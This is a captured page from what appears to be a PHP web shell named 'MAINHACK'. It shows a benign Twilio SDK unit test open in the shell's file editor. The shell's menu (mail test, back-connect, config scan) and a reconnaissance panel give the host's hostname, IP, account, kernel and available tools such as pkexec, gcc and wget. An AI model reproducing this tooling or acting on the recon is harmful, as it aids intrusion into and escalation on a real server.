[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SerializeTest.php
<?php namespace Twilio\Tests\Unit; use Twilio\Serialize; class SerializeTest extends UnitTest { public function testNull() { $actual = Serialize::prefixedCollapsibleMap(null, "Prefix"); $this->assertEquals(array(), $actual); } public function testEmptyArray() { $actual = Serialize::prefixedCollapsibleMap(array(), "Prefix"); $this->assertEquals(array(), $actual); } public function testSingleKey() { $actual = Serialize::prefixedCollapsibleMap(array( "foo" => "bar" ), "Prefix"); $this->assertEquals(array( "Prefix.foo" => "bar" ), $actual); } public function testNestedKey() { $actual = Serialize::prefixedCollapsibleMap(array( "foo" => array( "bar" => "baz" ) ), "Prefix"); $this->assertEquals(array( "Prefix.foo.bar" => "baz" ), $actual); } public function testMultipleKeys() { $actual = Serialize::prefixedCollapsibleMap(array( "watson" => array( "language" => "en", "alice" => "bob" ), "foo" => "bar" ), "Prefix"); $this->assertEquals(array( "Prefix.watson.language" => "en", "Prefix.watson.alice" => "bob", "Prefix.foo" => "bar" ), $actual); } public function testIso8601DateNull() { $actual = Serialize::iso8601Date(null); $this->assertEquals(\Twilio\Values::NONE, $actual); } public function testIso8601DateNone() { $actual = Serialize::iso8601Date(\Twilio\Values::NONE); $this->assertEquals(\Twilio\Values::NONE, $actual); } public function testIso8601DatePassString() { // Backwards compatibility, prior to 5.5.0 date parameters were passed as strings. // After 5.5.0 parameters can be DateTime objects or strings. $actual = Serialize::iso8601DateTime("2017-02-01"); $this->assertEquals("2017-02-01", $actual); } public function testIso8601DateSameTimezone() { $date = new \DateTime("now", new \DateTimeZone("UTC")); $actual = Serialize::iso8601Date($date); $this->assertEquals($date->format("Y-m-d"), $actual); } public function testIso8601DateDifferentTimezone() { $date = new \DateTime("2017-02-01T17:15:41-0800"); $actual = Serialize::iso8601Date($date); // assert original date time object is unchanged $this->assertEquals("2017-02-01T17:15:41-0800", $date->format(\DateTime::ISO8601)); $this->assertEquals("2017-02-02", $actual); } public function testIso8601DateTimeNull() { $actual = Serialize::iso8601DateTime(null); $this->assertEquals(\Twilio\Values::NONE, $actual); } public function testIso8601DateTimeNone() { $actual = Serialize::iso8601DateTime(\Twilio\Values::NONE); $this->assertEquals(\Twilio\Values::NONE, $actual); } public function testIso8601DateTimePassString() { // Backwards compatibility, prior to 5.5.0 date parameters were passed as strings. // After 5.5.0 parameters can be DateTime objects or strings. $actual = Serialize::iso8601DateTime("2017-02-01T17:15:41Z"); $this->assertEquals("2017-02-01T17:15:41Z", $actual); } public function testIso8601DateTimeSameTimezone() { $date = new \DateTime("2017-02-01T17:15:41", new \DateTimeZone("UTC")); $actual = Serialize::iso8601DateTime($date); $this->assertEquals("2017-02-01T17:15:41Z", $actual); } public function testIso8601DateTimeDifferentTimezone() { $date = new \DateTime("2017-02-01T17:15:41-0800"); $actual = Serialize::iso8601DateTime($date); // assert original date time object is unchanged $this->assertEquals("2017-02-01T17:15:41-0800", $date->format(\DateTime::ISO8601)); $this->assertEquals("2017-02-02T01:15:41Z", $actual); } public function testBooleanToString() { $actual = Serialize::booleanToString(True); $this->assertEquals("True", $actual); $actual = Serialize::booleanToString(False); $this->assertEquals("False", $actual); } public function testBooleanToStringPassThroughSpecialVals() { $actual = Serialize::booleanToString(null); $this->assertEquals(null, $actual); // For backwards compatibility $actual = Serialize::booleanToString("True"); $this->assertEquals("True", $actual); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002